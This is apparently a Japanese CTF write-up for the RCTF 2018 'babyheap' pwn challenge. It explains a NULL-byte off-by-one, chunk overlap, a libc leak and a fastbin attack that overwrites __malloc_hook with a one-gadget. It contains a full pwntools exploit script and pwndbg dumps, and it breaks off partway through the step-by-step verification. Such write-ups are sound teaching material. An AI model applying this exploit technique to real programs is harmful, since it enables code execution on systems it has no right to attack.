LoginSignup
1
1

More than 5 years have passed since last update.

RCTF 2018 writeup

Posted at

babyheap(Pwn, 317 points)

babyheap.2018.teamrois.cn:3154

NULLバイトのoff-by-oneを主に利用してヒープ管理機構をあれこれする問題。
0CTF quals 2017のbabyheapの解き方を一部参考にした。

ファイル情報

# file ./babyheap
./babyheap: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=220fd4e3e91c4ef2413cc0a4c222a0548602662e, stripped
# checksec ./babyheap 
[*] '(snip)/babyheap'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

動作概要など

操作関連

  • ヒープ領域の確保(Alloc)、表示(Show)、削除(Delete)ができる
  • ヒープ領域は最大32個(0~0x1f)まで確保できる
# ./babyheap

1. Alloc
2. Show
3. Delete
4. Exit
choice: 1
please input chunk size: 10
input chunk content: AAAA
1. Alloc
2. Show
3. Delete
4. Exit
choice: 1
please input chunk size: 10
input chunk content: BBBB
1. Alloc
2. Show
3. Delete
4. Exit
choice: 2
please input chunk index: 1
content: BBBB
1. Alloc
2. Show
3. Delete
4. Exit
choice: 3
please input chunk index: 1
1. Alloc
2. Show
3. Delete
4. Exit
choice: 2
please input chunk index: 1
no such a chunk
1. Alloc
2. Show
3. Delete
4. Exit
choice: 4

解析関連

  • Full RELROなのでGOT書き換えは不可。
  • PIEが効いているので、実行ファイルがロードされるアドレスは毎回変わる。
  • 確保できるヒープ領域のサイズは1つあたり256(0x100)バイト以下(チャンクサイズは0x110以下)。
  • 確保されているヒープ領域の数は.bss領域(0x202018)に格納されている。
  • 確保されたヒープ領域のアドレスはmmapされた領域に格納されており、そのmmap領域の先頭アドレスは.bss領域(0x202020)に格納されている。
  • ヒープ領域をDelete(free)すると、そこを指してたmmap領域上の値もクリアされる。

脆弱点

Alloc時に実行される関数sub_0xbc8において、アドレス0xc4bにNULLバイトのoff-by-oneが存在する。
たとえばchunk sizeが0x10のときにcontentとして0x10バイト入力すると、アドレス0xc41に来た時点でvar_C=0x10となっているので、アドレス0xc4bの処理では「0から始まって」0x10バイト目にNULLが入る(off-by-one)。

Image3.png

考察

  • Full RELROなので、__malloc_hookにOne-Gadget-RCEを書き込むことを考える。
  • __malloc_hookへの実際の書き込み先は、下記結果により__malloc_hook - 0x23とする。

fastbinチャンクとして__malloc_hook - 0x10のアドレスから確保しようとすると、sizeにあたる領域__malloc_hook - 0x8の値が大きくなってfastbinとしてのサイズ条件(~0x80)を超えてしまう。

fastbinとして確保できないとき
pwndbg> x/8gx ((long long)&__malloc_hook)-0x10
0x7ffff7dd1b00 <__memalign_hook>:       0x00007ffff7a92e20      0x00007ffff7a92a00
0x7ffff7dd1b10 <__malloc_hook>: 0x0000000000000000      0x0000000000000000
0x7ffff7dd1b20 <main_arena>:    0x0000000100000000      0x0000000000000000
0x7ffff7dd1b30 <main_arena+16>: 0x0000000000000000      0x0000000000000000

なので、下記のように__malloc_hook - 0x10から少しずらす(__malloc_hook - 0x23)ことでsizeが0x7f(0x70)となり、fastbinのサイズ条件を満たす。

fastbinとして確保できるとき
pwndbg> x/8gx ((long long)&__malloc_hook-0x13)-0x10
0x7ffff7dd1aed <_IO_wide_data_0+301>:   0xfff7dd0260000000      0x000000000000007f
0x7ffff7dd1afd: 0xfff7a92e20000000      0xfff7a92a0000007f
0x7ffff7dd1b0d <__realloc_hook+5>:      0x000000000000007f      0x0000000000000000
0x7ffff7dd1b1d: 0x0100000000000000      0x0000000000000000
  • あるチャンクについて、下記を利用して実際のチャンクより大きいサイズのチャンクをfreeされたことにする。このとき、freeされたことになった領域に、まだ生きている(mmap領域から指されている)チャンクが存在しているようにする(overlap)。
    • NULLバイトのoff-by-oneが存在:次のチャンクのPREV_INUSEをオフにできる。
    • データ領域の最後の8バイトと次のチャンクのPREV_SIZE領域が共通:PREV_SIZEを偽造できる。
  • 上記overlapを利用してmain_arena + 0x58のアドレスをリークさせる。
  • __malloc_hookへのOne-Gadget-RCE書き込みにはfastbin attackを利用する。この際にも上記overlapを利用する。

方針

  1. 下記サイズの領域をAllocする。
    • 0x80バイト(チャンクサイズ:0x90):#0
    • 0x10バイト(チャンクサイズ:0x20):#1
    • 0xf0バイト(チャンクサイズ:0x100):#2
    • 0x10バイト(チャンクサイズ:0x20):#3
  2. #0をDeleteする。これをやっておかないと、PREV_SIZE・PREV_INUSE偽装後の#2のDeleteがうまく動作しない。(旧#0のfd・bkチェックで落ちる)
  3. #1をDeleteする。
  4. サイズ0x18バイトの領域を確保する(旧#1領域に確保)。このとき#2のPREV_SIZEに#0と#1分のチャンクサイズの合計値(0xb0)を設定し、同時にoff-by-oneにより#2のPREV_INUSEをクリアする。
  5. #2をDeleteする。
  6. サイズ0x80バイト(チャンクサイズ:0x90)の領域を確保する。このとき#1のチャンク先頭はちょうどunsorted binのチャンク先頭と重なるので、#0のデータ領域にはmain_arena + 0x58のアドレスが書き込まれる。
  7. #0をShowしてmain_arena + 0x58のアドレスをリークさせ、libc_base__malloc_hookOne-Gadget-RCEのアドレスを求める。
  8. freeされている領域を埋めるようにAllocする(一応)。
  9. 下記サイズの領域をAllocする。
    • 0x80バイト(チャンクサイズ:0x90):#5
    • 0x60バイト(チャンクサイズ:0x70):#6
    • 0xf0バイト(チャンクサイズ:0x100):#7
    • 0x10バイト(チャンクサイズ:0x20):#8
  10. #5をDeleteする。理由は2.と同じ。
  11. #6をDeleteする。
  12. サイズ0x68バイトの領域を確保する(旧#6領域に確保、実際の通し番号は#5)。このとき#7のPREV_SIZEに#5と#6分のチャンクサイズの合計値(0x100)を設定し、同時にoff-by-oneにより#7のPREV_INUSEをクリアする。
  13. #7をDeleteする。
  14. #5をDeleteする。これによりチャンクサイズ0x70のfastbinがarenaのfastbin[5]につながれる。
  15. サイズ0xa0バイトの領域を確保する。このチャンクは10.でDeleteした領域から始まり、14.でDeleteしたfastbinとoverlapしているので、領域確保前のfastbinの状態を復旧した上でfastbinのfd領域に__malloc_hook - 0x23のアドレスを書き込む。
  16. サイズ0x60バイトの領域を確保する。このときarenaのfastbin[5]には__malloc_hook - 0x23がつながれる。
  17. サイズ0x60バイトの領域を確保する。このときチャンクアドレスとして__malloc_hook - 0x23が返るので、__malloc_hookにあたる部分にOne-Gadget-RCEを書き込む。
  18. 適当なサイズをAllocしたらshellが起動する。

事前準備

提供されたlibc.so.6について、

  • ロードしたときの「main_arenaアドレス - libc_base」のオフセット値を求める(smallbinをfreeして確認)
pwndbg> x/6gx 0x5595a25c0530
0x5595a25c0530: 0x0000000000000000      0x0000000000000091
0x5595a25c0540: 0x00007f6613efbb78      0x00007f6613efbb78
0x5595a25c0550: 0x0000000000000000      0x0000000000000000
pwndbg> vmmap 
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
    0x5595a1015000     0x5595a1017000 r-xp     2000 0      (snip)/babyheap
    0x5595a1216000     0x5595a1217000 r--p     1000 1000   (snip)/babyheap
    0x5595a1217000     0x5595a1218000 rw-p     1000 2000   (snip)/babyheap
    0x5595a25b9000     0x5595a25e1000 rw-p    28000 0      [heap]
    0x7f6613b37000     0x7f6613cf7000 r-xp   1c0000 0      (snip)/libc.so.6
    0x7f6613cf7000     0x7f6613ef7000 ---p   200000 1c0000 (snip)/libc.so.6
    0x7f6613ef7000     0x7f6613efb000 r--p     4000 1c0000 (snip)/libc.so.6
    0x7f6613efb000     0x7f6613efd000 rw-p     2000 1c4000 (snip)/libc.so.6
    0x7f6613efd000     0x7f6613f01000 rw-p     4000 0      
    0x7f6613f01000     0x7f6613f27000 r-xp    26000 0      /lib/x86_64-linux-gnu/ld-2.23.so
    0x7f6614122000     0x7f6614126000 rw-p     4000 0      
    0x7f6614126000     0x7f6614127000 r--p     1000 25000  /lib/x86_64-linux-gnu/ld-2.23.so
    0x7f6614127000     0x7f6614128000 rw-p     1000 26000  /lib/x86_64-linux-gnu/ld-2.23.so
    0x7f6614128000     0x7f6614129000 rw-p     1000 0      
    0x7ffec4009000     0x7ffec402a000 rw-p    21000 0      [stack]
    0x7ffec4038000     0x7ffec403b000 r--p     3000 0      [vvar]
    0x7ffec403b000     0x7ffec403d000 r-xp     2000 0      [vdso]
0xffffffffff600000 0xffffffffff601000 r-xp     1000 0      [vsyscall]   
>>> hex(0x00007f6613efbb78-0x58-0x7f6613b37000)
'0x3c4b20'
  • One-Gadget-RCEのオフセット値を求める
# one_gadget -f ./libc.so.6
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

exploit

from pwn import *

context.log_level = 'INFO'

BIN = './babyheap'
LIBC = './libc.so.6'

elf = ELF(BIN)
libc = ELF(LIBC)

target = 'babyheap.2018.teamrois.cn'
port = 3154

conn = remote(target, port)

def alloc(size, cont):
    conn.sendafter('choice: ', '1')
    conn.sendafter('size: ', str(size))
    conn.sendafter('content: ', cont)

def show(idx):
    conn.sendafter('choice: ', '2')
    conn.sendafter('index: ', str(idx))
    conn.recvuntil('content: ')
    res = conn.recvline().strip()
    return res

def delete(idx):
    conn.sendafter('choice: ', '3')
    conn.sendafter('index: ', str(idx))

alloc(0x80, 'A'*8 + '\n') #0
alloc(0x10, 'B'*8 + '\n') #1
alloc(0xf0, 'C'*8 + '\n') #2
alloc(0x10, 'D'*8 + '\n') #3

delete(0)
delete(1)

payload = ''
payload += 'E' * 8
payload += p64(0)
payload += p64(0xb0)
alloc(0x18, payload) #0

delete(2)

payload = ''
payload += 'F' * 0x80
alloc(0x80, payload) #1

main_arena_offset = 0x3c4b20
malloc_hook_offset = libc.symbols['__malloc_hook']
one_gadget_offset = 0x4526a

main_arena = u64(show(0).ljust(8, '\0')) - 0x58
libc_base = main_arena - main_arena_offset
malloc_hook = libc_base + malloc_hook_offset
target = malloc_hook - 0x23
one_gadget = libc_base + one_gadget_offset

log.info('main_arena: {0}'.format(hex(main_arena)))
log.info('libc_base: {0}'.format(hex(libc_base)))
log.info('malloc_hook: {0}'.format(hex(malloc_hook)))
log.info('target: {0}'.format(hex(target)))

alloc(0x100, 'G'*8 + '\n') #0, 2
alloc(0x10, 'gomi' + '\n') #4

alloc(0x80, 'a'*8 + '\n') #5
alloc(0x60, 'b'*8 + '\n') #6
alloc(0xf0, 'c'*8 + '\n') #7
alloc(0x10, 'd'*8 + '\n') #8

delete(5)
delete(6)

payload = ''
payload += 'e' * 0x10
payload += '\0' * 0x50
payload += p64(0x100)
alloc(0x68, payload) #5

delete(7)
delete(5)

payload = ''
payload += 'f' * 0x80
payload += p64(0x90)
payload += p64(0x70)
payload += p64(target)
payload += 'gomi'
alloc(0xa0, payload + '\n')

alloc(0x60, 'g'*8 + '\n')

payload = ''
payload += p64(0)
payload += p64(0)
payload += p8(0)
payload += p8(0)
payload += p8(0)
payload += p64(one_gadget)

alloc(0x60, payload + '\n')

conn.sendafter('choice: ', '1')
conn.sendafter('size: ', '10')

conn.interactive()

conn.close()

検証メモ

1. 下記サイズの領域をAllocする。

  • 0x80バイト(チャンクサイズ:0x90):#0
  • 0x10バイト(チャンクサイズ:0x20):#1
  • 0xf0バイト(チャンクサイズ:0x100):#2
  • 0x10バイト(チャンクサイズ:0x20):#3
pwndbg> vmmap 
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
    0x564c829bd000     0x564c829bf000 r-xp     2000 0      (snip)/babyheap
    0x564c82bbe000     0x564c82bbf000 r--p     1000 1000   (snip)/babyheap
    0x564c82bbf000     0x564c82bc0000 rw-p     1000 2000   (snip)/babyheap
    0x564c8374f000     0x564c83779000 rw-p    2a000 0      [heap]
    0x7f2e86494000     0x7f2e86654000 r-xp   1c0000 0      /lib/x86_64-linux-gnu/libc-2.23.so
    0x7f2e86654000     0x7f2e86854000 ---p   200000 1c0000 /lib/x86_64-linux-gnu/libc-2.23.so
    0x7f2e86854000     0x7f2e86858000 r--p     4000 1c0000 /lib/x86_64-linux-gnu/libc-2.23.so
    0x7f2e86858000     0x7f2e8685a000 rw-p     2000 1c4000 /lib/x86_64-linux-gnu/libc-2.23.so
    0x7f2e8685a000     0x7f2e8685e000 rw-p     4000 0      
    0x7f2e8685e000     0x7f2e86884000 r-xp    26000 0      /lib/x86_64-linux-gnu/ld-2.23.so
    0x7f2e86a65000     0x7f2e86a68000 rw-p     3000 0      
    0x7f2e86a82000     0x7f2e86a83000 rw-p     1000 0      
    0x7f2e86a83000     0x7f2e86a84000 r--p     1000 25000  /lib/x86_64-linux-gnu/ld-2.23.so
    0x7f2e86a84000     0x7f2e86a85000 rw-p     1000 26000  /lib/x86_64-linux-gnu/ld-2.23.so
    0x7f2e86a85000     0x7f2e86a86000 rw-p     1000 0      
    0x7ffc2e908000     0x7ffc2e929000 rw-p    21000 0      [stack]
    0x7ffc2e958000     0x7ffc2e95b000 r--p     3000 0      [vvar]
    0x7ffc2e95b000     0x7ffc2e95d000 r-xp     2000 0      [vdso]
0xffffffffff600000 0xffffffffff601000 r-xp     1000 0      [vsyscall]
pwndbg> set $base=0x564c829bd000
pwndbg> telescope $base+0x202020
00:0000│   0x564c82bbf020 (__bss_start+16) —▸ 0x7f2e86a82000 —▸ 0x564c837581c0 ◂— 'AAAAAAAA'
01:0008│   0x564c82bbf028 ◂— 0x0
pwndbg> def list
Type commands for definition of "list".
End with a line saying just "end".
>telescope 0x7f2e86a82000 10
>end
pwndbg> list
00:0000│   0x7f2e86a82000 —▸ 0x564c837581c0 ◂— 'AAAAAAAA'
01:0008│   0x7f2e86a82008 —▸ 0x564c83758250 ◂— 'BBBBBBBB'
02:0010│   0x7f2e86a82010 —▸ 0x564c83758270 ◂— 'CCCCCCCC'
03:0018│   0x7f2e86a82018 —▸ 0x564c83758370 ◂— 'DDDDDDDD'
04:0020│   0x7f2e86a82020 ◂— 0x0
... ↓
pwndbg> x/32gx 0x564c837581b0
0x564c837581b0: 0x0000000000000000      0x0000000000000091  #0
0x564c837581c0: 0x4141414141414141      0x0000000000000000
(snip)
0x564c83758240: 0x0000000000000000      0x0000000000000021  #1
0x564c83758250: 0x4242424242424242      0x0000000000000000
0x564c83758260: 0x0000000000000000      0x0000000000000101  #2
0x564c83758270: 0x4343434343434343      0x0000000000000000
(snip)
0x564c83758360: 0x0000000000000000      0x0000000000000021  #3
0x564c83758370: 0x4444444444444444      0x0000000000000000
0x564c83758380: 0x0000000000000000      0x0000000000020c81

2. #0をDeleteする。これをやっておかないと、PREV_SIZE・PREV_INUSE偽装後の#2のDeleteがうまく動作しない。(旧#0のfd・bkチェックで落ちる)

pwndbg> list
00:0000│   0x7f2e86a82000 ◂— 0x0
01:0008│   0x7f2e86a82008 —▸ 0x564c83758250 ◂— 'BBBBBBBB'
02:0010│   0x7f2e86a82010 —▸ 0x564c83758270 ◂— 'CCCCCCCC'
03:0018│   0x7f2e86a82018 —▸ 0x564c83758370 ◂— 'DDDDDDDD'
04:0020│   0x7f2e86a82020 ◂— 0x0
... ↓
pwndbg> x/32gx 0x564c837581b0
0x564c837581b0: 0x0000000000000000      0x0000000000000091
0x564c837581c0: 0x00007f2e86858b78      0x00007f2e86858b78
(snip)
0x564c83758240: 0x0000000000000090      0x0000000000000020  #1
0x564c83758250: 0x4242424242424242      0x0000000000000000
0x564c83758260: 0x0000000000000000      0x0000000000000101  #2
0x564c83758270: 0x4343434343434343      0x0000000000000000
(snip)
0x564c83758360: 0x0000000000000000      0x0000000000000021  #3
0x564c83758370: 0x4444444444444444      0x0000000000000000
0x564c83758380: 0x0000000000000000      0x0000000000020c81

3. #1をDeleteする。
4. サイズ0x18バイトの領域を確保する(旧#1領域に確保)。このとき#2のPREV_SIZEに#0と#1分のチャンクサイズの合計値(0xb0)を設定し、同時にoff-by-oneにより#2のPREV_INUSEをクリアする。

pwndbg> list
00:0000│   0x7f2e86a82000 —▸ 0x564c83758250 ◂— 'EEEEEEEE'
01:0008│   0x7f2e86a82008 ◂— 0x0
02:0010│   0x7f2e86a82010 —▸ 0x564c83758270 ◂— 'CCCCCCCC'
03:0018│   0x7f2e86a82018 —▸ 0x564c83758370 ◂— 'DDDDDDDD'
04:0020│   0x7f2e86a82020 ◂— 0x0
... ↓
pwndbg> x/32gx 0x564c837581b0
0x564c837581b0: 0x0000000000000000      0x0000000000000091
0x564c837581c0: 0x00007f2e86858b78      0x00007f2e86858b78
(snip)
0x564c83758240: 0x0000000000000090      0x0000000000000020  #0
0x564c83758250: 0x4545454545454545      0x0000000000000000
0x564c83758260: 0x00000000000000b0      0x0000000000000100  #2
0x564c83758270: 0x4343434343434343      0x0000000000000000
(snip)
0x564c83758360: 0x0000000000000000      0x0000000000000021  #3
0x564c83758370: 0x4444444444444444      0x0000000000000000
0x564c83758380: 0x0000000000000000      0x0000000000020c81

5. #2をDeleteする。

pwndbg> list
00:0000│   0x7f2e86a82000 —▸ 0x564c83758250 ◂— 'EEEEEEEE'
01:0008│   0x7f2e86a82008 ◂— 0x0
... ↓
03:0018│   0x7f2e86a82018 —▸ 0x564c83758370 ◂— 'DDDDDDDD'
04:0020│   0x7f2e86a82020 ◂— 0x0
... ↓
pwndbg> x/32gx 0x564c837581b0
0x564c837581b0: 0x0000000000000000      0x00000000000001b1
0x564c837581c0: 0x00007f2e86858b78      0x00007f2e86858b78
(snip)
0x564c83758240: 0x0000000000000090      0x0000000000000020  #0
0x564c83758250: 0x4545454545454545      0x0000000000000000
0x564c83758260: 0x00000000000000b0      0x0000000000000100
0x564c83758270: 0x4343434343434343      0x0000000000000000
(snip)
0x564c83758360: 0x00000000000001b0      0x0000000000000020  #3
0x564c83758370: 0x4444444444444444      0x0000000000000000
0x564c83758380: 0x0000000000000000      0x0000000000020c81

6. サイズ0x80バイト(チャンクサイズ:0x90)の領域を確保する。このとき#0のチャンク先頭はちょうどunsorted binのチャンク先頭と重なるので、#0のデータ領域にはmain_arena + 0x58のアドレスが書き込まれる。

pwndbg> list
00:0000│   0x7f2e86a82000 —▸ 0x564c83758250 —▸ 0x7f2e86858b78 (main_arena+88) —▸ 0x564c83758380 ◂— ...
01:0008│   0x7f2e86a82008 —▸ 0x564c837581c0 ◂— 0x4646464646464646 ('FFFFFFFF')
02:0010│   0x7f2e86a82010 ◂— 0x0
03:0018│   0x7f2e86a82018 —▸ 0x564c83758370 ◂— 'DDDDDDDD'
04:0020│   0x7f2e86a82020 ◂— 0x0
... ↓
pwndbg> x/32gx 0x564c837581b0
0x564c837581b0: 0x0000000000000000      0x0000000000000091  #1
0x564c837581c0: 0x4646464646464646      0x4646464646464646
(snip)
0x564c83758240: 0x0000000000000000      0x0000000000000121  #0
0x564c83758250: 0x00007f2e86858b78      0x00007f2e86858b78
0x564c83758260: 0x00000000000000b0      0x0000000000000100
0x564c83758270: 0x4343434343434343      0x0000000000000000
(snip)
0x564c83758360: 0x0000000000000120      0x0000000000000020  #3
0x564c83758370: 0x4444444444444444      0x0000000000000000
0x564c83758380: 0x0000000000000000      0x0000000000020c81

7. #0をShowしてmain_arena + 0x58のアドレスをリークさせ、libc_base__malloc_hookOne-Gadget-RCEのアドレスを求める。

[*] main_arena: 0x7f2e86858b20
[*] libc_base: 0x7f2e86494000
[*] malloc_hook: 0x7f2e86858b10
[*] target: 0x7f2e86858aed

8. freeされている領域を埋めるようにAllocする(一応)。

pwndbg> list
00:0000│   0x7f2e86a82000 —▸ 0x564c83758250 ◂— 'GGGGGGGG'
01:0008│   0x7f2e86a82008 —▸ 0x564c837581c0 ◂— 0x4646464646464646 ('FFFFFFFF')
02:0010│   0x7f2e86a82010 —▸ 0x564c83758250 ◂— 'GGGGGGGG'
03:0018│   0x7f2e86a82018 —▸ 0x564c83758370 ◂— 'DDDDDDDD'
04:0020│   0x7f2e86a82020 —▸ 0x564c83758390 ◂— 0x696d6f67 /* 'gomi' */
05:0028│   0x7f2e86a82028 ◂— 0x0
... ↓
pwndbg> x/32gx 0x564c837581b0
0x564c837581b0: 0x0000000000000000      0x0000000000000091  #1
0x564c837581c0: 0x4646464646464646      0x4646464646464646
(snip)
0x564c83758240: 0x0000000000000000      0x0000000000000121  #0, #2
0x564c83758250: 0x4747474747474747      0x0000000000000000
0x564c83758260: 0x0000000000000000      0x0000000000000000
0x564c83758270: 0x0000000000000000      0x0000000000000000
(snip)
0x564c83758360: 0x0000000000000000      0x0000000000000021  #3
0x564c83758370: 0x4444444444444444      0x0000000000000000
0x564c83758380: 0x0000000000000000      0x0000000000000021  #4
0x564c83758390: 0x00000000696d6f67      0x0000000000000000
0x564c837583a0: 0x0000000000000000      0x0000000000020c61

9. 下記サイズの領域をAllocする。

  • 0x80バイト(チャンクサイズ:0x90):#5
  • 0x60バイト(チャンクサイズ:0x70):#6
  • 0xf0バイト(チャンクサイズ:0x100):#7
  • 0x10バイト(チャンクサイズ:0x20):#8
pwndbg> list
00:0000│   0x7f2e86a82000 —▸ 0x564c83758250 ◂— 'GGGGGGGG'
01:0008│   0x7f2e86a82008 —▸ 0x564c837581c0 ◂— 0x4646464646464646 ('FFFFFFFF')
02:0010│   0x7f2e86a82010 —▸ 0x564c83758250 ◂— 'GGGGGGGG'
03:0018│   0x7f2e86a82018 —▸ 0x564c83758370 ◂— 'DDDDDDDD'
04:0020│   0x7f2e86a82020 —▸ 0x564c83758390 ◂— 0x696d6f67 /* 'gomi' */
05:0028│   0x7f2e86a82028 —▸ 0x564c837583b0 ◂— 'aaaaaaaa'
06:0030│   0x7f2e86a82030 —▸ 0x564c83758440 ◂— 'bbbbbbbb'
07:0038│   0x7f2e86a82038 —▸ 0x564c837584b0 ◂— 'cccccccc'
08:0040│   0x7f2e86a82040 —▸ 0x564c837585b0 ◂— 'dddddddd'
09:0048│   0x7f2e86a82048 ◂— 0x0
... ↓
pwndbg> x/32gx 0x564c837583a0
0x564c837583a0: 0x0000000000000000      0x0000000000000091  #5
0x564c837583b0: 0x6161616161616161      0x0000000000000000
(snip)
0x564c83758430: 0x0000000000000000      0x0000000000000071  #6
0x564c83758440: 0x6262626262626262      0x0000000000000000
(snip)
0x564c837584a0: 0x0000000000000000      0x0000000000000101  #7
0x564c837584b0: 0x6363636363636363      0x0000000000000000
(snip)
0x564c837585a0: 0x0000000000000000      0x0000000000000021  #8
0x564c837585b0: 0x6464646464646464      0x0000000000000000
0x564c837585c0: 0x0000000000000000      0x0000000000020a41

10. #5をDeleteする。理由は2.と同じ。

pwndbg> list
00:0000│   0x7f2e86a82000 —▸ 0x564c83758250 ◂— 'GGGGGGGG'
01:0008│   0x7f2e86a82008 —▸ 0x564c837581c0 ◂— 0x4646464646464646 ('FFFFFFFF')
02:0010│   0x7f2e86a82010 —▸ 0x564c83758250 ◂— 'GGGGGGGG'
03:0018│   0x7f2e86a82018 —▸ 0x564c83758370 ◂— 'DDDDDDDD'
04:0020│   0x7f2e86a82020 —▸ 0x564c83758390 ◂— 0x696d6f67 /* 'gomi' */
05:0028│   0x7f2e86a82028 ◂— 0x0
06:0030│   0x7f2e86a82030 —▸ 0x564c83758440 ◂— 'bbbbbbbb'
07:0038│   0x7f2e86a82038 —▸ 0x564c837584b0 ◂— 'cccccccc'
08:0040│   0x7f2e86a82040 —▸ 0x564c837585b0 ◂— 'dddddddd'
09:0048│   0x7f2e86a82048 ◂— 0x0
... ↓
pwndbg> x/32gx 0x564c837583a0
0x564c837583a0: 0x0000000000000000      0x0000000000000091
0x564c837583b0: 0x00007f2e86858b78      0x00007f2e86858b78
(snip)
0x564c83758430: 0x0000000000000000      0x0000000000000070  #6
0x564c83758440: 0x6262626262626262      0x0000000000000000
(snip)
0x564c837584a0: 0x0000000000000000      0x0000000000000101  #7
0x564c837584b0: 0x6363636363636363      0x0000000000000000
(snip)
0x564c837585a0: 0x0000000000000000      0x0000000000000021  #8
0x564c837585b0: 0x6464646464646464      0x0000000000000000
0x564c837585c0: 0x0000000000000000      0x0000000000020a41

11. #6をDeleteする。
12. サイズ0x68バイトの領域を確保する(旧#6領域に確保、実際の通し番号は#5)。このとき#7のPREV_SIZEに#5と#6分のチャンクサイズの合計値(0x100)を設定し、同時にoff-by-oneにより#7のPREV_INUSEをクリアする。

pwndbg> list
00:0000│   0x7f2e86a82000 —▸ 0x564c83758250 ◂— 'GGGGGGGG'
01:0008│   0x7f2e86a82008 —▸ 0x564c837581c0 ◂— 0x4646464646464646 ('FFFFFFFF')
02:0010│   0x7f2e86a82010 —▸ 0x564c83758250 ◂— 'GGGGGGGG'
03:0018│   0x7f2e86a82018 —▸ 0x564c83758370 ◂— 'DDDDDDDD'
04:0020│   0x7f2e86a82020 —▸ 0x564c83758390 ◂— 0x696d6f67 /* 'gomi' */
05:0028│   0x7f2e86a82028 —▸ 0x564c83758440 ◂— 0x6565656565656565 ('eeeeeeee')
06:0030│   0x7f2e86a82030 ◂— 0x0
07:0038│   0x7f2e86a82038 —▸ 0x564c837584b0 ◂— 'cccccccc'
08:0040│   0x7f2e86a82040 —▸ 0x564c837585b0 ◂— 'dddddddd'
09:0048│   0x7f2e86a82048 ◂— 0x0
... ↓
pwndbg> x/32gx 0x564c837583a0
0x564c837583a0: 0x0000000000000000      0x0000000000000091
0x564c837583b0: 0x00007f2e86858b78      0x00007f2e86858b78
(snip)
0x564c83758430: 0x0000000000000090      0x0000000000000070  #5
0x564c83758440: 0x6565656565656565      0x6565656565656565
(snip)
0x564c837584a0: 0x0000000000000100      0x0000000000000100  #7
0x564c837584b0: 0x6363636363636363      0x0000000000000000
(snip)
0x564c837585a0: 0x0000000000000000      0x0000000000000021  #8
0x564c837585b0: 0x6464646464646464      0x0000000000000000
0x564c837585c0: 0x0000000000000000      0x0000000000020a41

13. #7をDeleteする。

pwndbg> list
00:0000│   0x7f2e86a82000 —▸ 0x564c83758250 ◂— 'GGGGGGGG'
01:0008│   0x7f2e86a82008 —▸ 0x564c837581c0 ◂— 0x4646464646464646 ('FFFFFFFF')
02:0010│   0x7f2e86a82010 —▸ 0x564c83758250 ◂— 'GGGGGGGG'
03:0018│   0x7f2e86a82018 —▸ 0x564c83758370 ◂— 'DDDDDDDD'
04:0020│   0x7f2e86a82020 —▸ 0x564c83758390 ◂— 0x696d6f67 /* 'gomi' */
05:0028│   0x7f2e86a82028 —▸ 0x564c83758440 ◂— 0x6565656565656565 ('eeeeeeee')
06:0030│   0x7f2e86a82030 ◂— 0x0
... ↓
08:0040│   0x7f2e86a82040 —▸ 0x564c837585b0 ◂— 'dddddddd'
09:0048│   0x7f2e86a82048 ◂— 0x0
... ↓
pwndbg> x/32gx 0x564c837583a0
0x564c837583a0: 0x0000000000000000      0x0000000000000201
0x564c837583b0: 0x00007f2e86858b78      0x00007f2e86858b78
(snip)
0x564c83758430: 0x0000000000000090      0x0000000000000070
0x564c83758440: 0x6565656565656565      0x6565656565656565  #5
(snip)
0x564c837584a0: 0x0000000000000100      0x0000000000000100
0x564c837584b0: 0x6363636363636363      0x0000000000000000
(snip)
0x564c837585a0: 0x0000000000000200      0x0000000000000020  #8
0x564c837585b0: 0x6464646464646464      0x0000000000000000
0x564c837585c0: 0x0000000000000000      0x0000000000020a41

14. #5をDeleteする。これによりチャンクサイズ0x70のfastbinがarenaのfastbin[5]につながれる。

pwndbg> list
00:0000│   0x7f2e86a82000 —▸ 0x564c83758250 ◂— 'GGGGGGGG'
01:0008│   0x7f2e86a82008 —▸ 0x564c837581c0 ◂— 0x4646464646464646 ('FFFFFFFF')
02:0010│   0x7f2e86a82010 —▸ 0x564c83758250 ◂— 'GGGGGGGG'
03:0018│   0x7f2e86a82018 —▸ 0x564c83758370 ◂— 'DDDDDDDD'
04:0020│   0x7f2e86a82020 —▸ 0x564c83758390 ◂— 0x696d6f67 /* 'gomi' */
05:0028│   0x7f2e86a82028 ◂— 0x0
... ↓
08:0040│   0x7f2e86a82040 —▸ 0x564c837585b0 ◂— 'dddddddd'
09:0048│   0x7f2e86a82048 ◂— 0x0
... ↓
pwndbg> x/32gx 0x564c837583a0
0x564c837583a0: 0x0000000000000000      0x0000000000000201
0x564c837583b0: 0x00007f2e86858b78      0x00007f2e86858b78
(snip)
0x564c83758430: 0x0000000000000090      0x0000000000000070
0x564c83758440: 0x0000000000000000      0x6565656565656565
(snip)
0x564c837584a0: 0x0000000000000100      0x0000000000000100
0x564c837584b0: 0x6363636363636363      0x0000000000000000
(snip)
0x564c837585a0: 0x0000000000000200      0x0000000000000020  #8
0x564c837585b0: 0x6464646464646464      0x0000000000000000
0x564c837585c0: 0x0000000000000000      0x0000000000020a41
pwndbg> heapinfo
(0x20)     fastbin[0]: 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x564c83758430 (overlap chunk with 0x564c837583a0(freed) )
(0x80)     fastbin[6]: 0x0
                  top: 0x564c837585c0 (size : 0x20a40) 
       last_remainder: 0x564c83758240 (size : 0x120) 
            unsortbin: 0x564c837583a0 (size : 0x200)

15. サイズ0xa0バイトの領域を確保する。このチャンクは10.でDeleteした領域から始まり、14.でDeleteしたfastbinとoverlapしているので、領域確保前のfastbinの状態を復旧した上でfastbinのfd領域に__malloc_hook - 0x23のアドレスを書き込む。

pwndbg> list
00:0000│   0x7f2e86a82000 —▸ 0x564c83758250 ◂— 'GGGGGGGG'
01:0008│   0x7f2e86a82008 —▸ 0x564c837581c0 ◂— 0x4646464646464646 ('FFFFFFFF')
